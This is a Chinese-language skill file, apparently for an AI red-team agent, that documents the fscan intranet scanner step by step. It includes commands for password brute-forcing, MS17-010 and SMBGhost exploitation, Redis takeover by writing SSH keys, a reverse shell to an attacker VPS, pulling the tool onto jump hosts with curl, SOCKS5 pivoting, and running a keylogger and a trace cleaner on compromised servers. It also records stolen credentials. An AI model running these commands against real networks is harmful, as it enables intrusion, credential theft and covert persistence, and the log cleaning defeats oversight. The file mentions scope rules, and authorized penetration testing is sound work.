8.9 KiB
8.9 KiB
name, description, whenToUse, role, enabled
| name | description | whenToUse | role | enabled |
|---|---|---|---|---|
| fscan-intranet | fscan v2.2.1 内网综合扫描:存活探测、端口/服务识别、28 类弱口令爆破、未授权访问与高危漏洞(MS17-010/SMBGhost)、Redis 利用与 SOCKS5 隧道 | 进入内网(跳板机/WebShell/socks5 隧道)后快速铺开资产面、找弱口令与未授权、把可达性变成可打点 | internal | true |
fscan(内网综合扫描与弱口令/漏洞)
fscan = 广度优先的内网普查:一段 C 段丢进去,几分钟内给出存活主机、开放端口、服务指纹、Web 标题、
弱口令、未授权访问、高危漏洞。噪声大,只适合内网(对互联网目标用外部扫描技能)。
与 gogo 的分工
| fscan | gogo | |
|---|---|---|
| 定位 | 综合普查 + 爆破 + 利用 | 高性能测绘 + 指纹 + 信息提取 |
| 噪声 | 大(默认 600 线程 + 爆破 + POC) | 可控(--opsec、线程/超时自调) |
| 先用哪个 | 目标明确、要快速找弱口令与洞 | 大网段先铺面、要指纹和 title |
推荐顺序:先 gogo 铺面拿资产清单 → 再 fscan 对确认存活的目标做定向爆破与漏洞。
二进制
本机 : $DSH_HOME/redteam/toolkit/fscan/fscan (v2.2.1,含本地插件)
$DSH_HOME/redteam/toolkit/fscan/fscan_windows_x64.exe
$DSH_HOME/redteam/toolkit/fscan/fscan_linux_arm64
VPS : http://<你的VPS_IP>:9100/fscan (技能 vps-reverse-shell 的载荷目录)
安装脚本只下载 linux/amd64 的 fscan。Windows 与 ARM 文件需自行补上;当前平台只用上面的主文件。
传到跳板机/目标(内网扫描必须在能到达内网的位置执行):
# 跳板机上直接下载(VPS 起载荷服务:~/.dsh/redteam/toolkit/vps/vps.sh serve 9100)
curl -o fscan http://<你的VPS_IP>:9100/fscan && chmod +x fscan
# 或从本机经 shells 上传
纪律(先看这条)
- 范围:只用授权清单内的网段;用
-eh/-ehf显式排除办公网、打印机、工控、云元数据(169.254.169.254)。 - 别打崩设备:默认
-t 600对老设备/工控很危险。内网先用-t 100 -time 3,确认设备扛得住再加。 - 先无爆破再爆破:第一轮
-nobr -nopoc只做资产面;确认目标重要性和授权后,第二轮再放开。 - 避开蜜罐/IDS:
-rate限速、-maxpkts限量;管理员可能在看着。 - DNSLog 外带:
-dns -domain <你的dnslog域名>,别用公共 DNSLog 传敏感数据。
标准作业流程(SOP)
# 0) 确认自己在哪、能到哪
ip a; ip route
# 1) 存活普查(最快,先圈定活人)
./fscan -h 10.0.0.0/24 -m icmp -o alive.txt -nocolor
# 2) 资产面(不爆破、不打 POC,最安静)
./fscan -h 10.0.0.0/24 -np -nobr -nopoc -t 100 -time 3 -o assets.txt
# 3) Web 优先:把 assets.txt 里的 web 端口交给截图/指纹环节
./fscan -h 10.0.0.0/24 -p 80,443,8080,8000,8888,9000,7001,9090 -nobr -nopoc -nocolor
# 4) 定向爆破(授权确认后)
./fscan -h 10.0.0.5 -m ssh -user root -pwdf /tmp/pass.txt -t 5
# 5) 高危漏洞与未授权
./fscan -h 10.0.0.0/24 -m ms17010,smbghost -nobr
./fscan -h 10.0.0.0/24 -p 6379,27017,9200,11211,2181 -nobr -nopoc
参数速查(实测 v2.2.1 -help)
目标
-h <IP|CIDR|文件|域名> 目标(IP 段文件也吃)
-hf <file> 主机文件 -eh/-ehf 排除主机/排除文件
-u <URL> -uf <file> 单 URL / URL 文件 -domain <域名>
端口与存活
-p 21,22,80,443,3306,6379,10000-10100 端口(默认内置约 150 个常用端口)
-pf <file> 端口文件 -ep 排除端口
-np 禁用 ping 探测(只扫端口,快) -ao 仅存活探测
-nsp 禁用网段预筛(大网段提速) -ntp 禁用 TCP 补充探测
模式
-m all 默认全流程(含爆破+POC)
-m icmp 仅存活
-m <插件> 只跑指定服务插件,例如 -m ssh / -m redis / -m smb2 / -m ms17010 / -m netbios
-nobr 禁爆破 -nopoc 禁 POC -noredis 禁 Redis 利用
并发与节流(OPSEC 关键)
-t 600 端口扫描线程 -time 3 端口超时(秒)
-mt 20 模块线程 -wt 5 Web 超时
-gt 0 全局超时(秒) -retry 3 重试次数
-rate 0 每分钟最大发包数(0=不限) -maxpkts 0 总发包上限
-num 20 POC 并发 -icmp-rate 0.1 ICMP 速率
凭据(爆破)
-user/-pwd 单组账号密码 -userf/-pwdf 字典文件
-upf 用户名:密码 对文件 -usera/-pwda 追加多个(逗号/空格分隔)
-hash/-hashf NTLM Hash 碰撞 -sshkey 私钥登录
利用(拿到就用,注意授权边界)
-rf <pubkey> Redis 写公钥(写 authorized_keys 拿 SSH)
-rs Redis Shell -rwc/-rwf/-rwp Redis 写入内容/文件/路径
-rsh <ip:port> 反弹 Shell 到指定地址(配合技能 vps-reverse-shell)
-sc <shellcode> MS17-010 ShellCode
-local <plugin> 本机插件:systeminfo / keylogger / cleaner 等(在跳板机上跑)
-start-socks5 1080 在跳板机上开 SOCKS5 服务,把内网暴露给本机
-fsh-port 4444 正向 Shell 服务端口
代理(打隧道后的核心用法)
-socks5 127.0.0.1:1080 走 SOCKS5(suo5 / ssh -D / frp 都行)
-socks5 socks5://user:pass@127.0.0.1:1080
-proxy http://127.0.0.1:8080 走 HTTP 代理
输出
-o result.txt 输出文件 -f txt|json|csv 格式
-no 不保存结果 -silent 静默 -nocolor/-nopg 关颜色/进度条
-lang zh|en 语言 -log "base,info,success" 日志级别
-dns 记录 DNS 日志(配合 -domain 做外带检测)
-perf 输出性能统计 JSON
关键场景
1. 通过隧道打内网(最常用)
# 前提:已有 socks5(技能 suo5-tunnel,或 vps-reverse-shell 里 ssh -D)
# 实测验证过:fscan -socks5 会把流量真正送进隧道
./fscan -h 10.0.0.0/24 -p 22,80,445,3306,6379 -np -nobr -nopoc \
-socks5 127.0.0.1:1080 -t 50 -time 5 -o intranet.txt
注意:走代理时线程别开太大(隧道本身是瓶颈),-t 50 左右足够。
2. 在跳板机上开隧道给本机用
跳板机上执行(把内网 10 段暴露到 VPS 的 9100 端口,再 ssh 本地转发回来):
./fscan -start-socks5 1080 # 跳板机:1080 变成 SOCKS5
# VPS 上反向隧道:ssh -R 9200:127.0.0.1:1080 ubuntu@<你的VPS_IP>
# 本机:ssh -L 1080:127.0.0.1:9200 ubuntu@<你的VPS_IP>
# 之后所有工具都能 -socks5 127.0.0.1:1080
3. 拿 Redis 直接要权限
./fscan -h 10.0.0.5 -p 6379 -m redis -rf ~/.ssh/id_rsa.pub # 写公钥 → ssh 上去
./fscan -h 10.0.0.5 -p 6379 -rs # Redis Shell
./fscan -h 10.0.0.5 -p 6379 -rsh <你的VPS_IP>:9000 # 反弹到 VPS 监听
4. 落到服务器上之后
./fscan -local systeminfo # 系统信息、环境变量、域控、网卡
./fscan -local keylogger # 键盘记录(-keylog-output 指定输出)
./fscan -local cleaner # 痕迹清理
结果落库(必须做)
fscan 的 txt 输出是分段的,解析后逐条入库:
# 每台存活主机
redteam_asset_add { engagement, ip, source: "fscan", tags: ["internal"] }
# 每个开放端口/服务
redteam_asset_add { engagement, ip, port, service, banner } # 或 asset_link 关联
# 爆破/未授权成功的凭据与访问
redteam_credential_add { engagement, host, username, secret_type, secret_ref: "runs/fscan-<段>.txt" }
redteam_access_add { engagement, host, username, method: "ssh", privilege, session_ref }
# 确认的漏洞(必须配 http_evidence 或等价证据)
redteam_vuln_add { engagement, target, name: "Redis 未授权访问", severity: "high", evidence_ref }
纪律:-o 的输出文件是证据,拷回 runs/;不要只在终端里看一眼就算数。
排障
| 现象 | 处理 |
|---|---|
| 扫不动/极慢 | 去掉 -np、降 -t、加 -time;大网段先 -m icmp 圈活人 |
| 全是假开放 | 中间有防火墙/负载均衡回 SYN-ACK,用 -time 调大 + -retry 复核 |
| ICMP 失败 | 需要 root/CAP_NET_RAW;用 sudo ./fscan -m icmp,或改用 -np 只扫端口 |
| 爆破被锁 | 先用 -usera 少量试,确认无锁定策略(域账号尤其危险) |
| 中文乱码 | -lang en 或 export LANG=zh_CN.UTF-8 |
| 想更安静 | -nobr -nopoc -nocolor -nopg -t 50 -rate 6000,必要时 -silent |
相关技能
gogo-intranet:先用它铺面suo5-tunnel:WebShell → SOCKS5,给 fscan 提供-socks5入口vps-reverse-shell:-rsh的落地端、载荷投递webshell-toolkit:拿到 WebShell 后的管理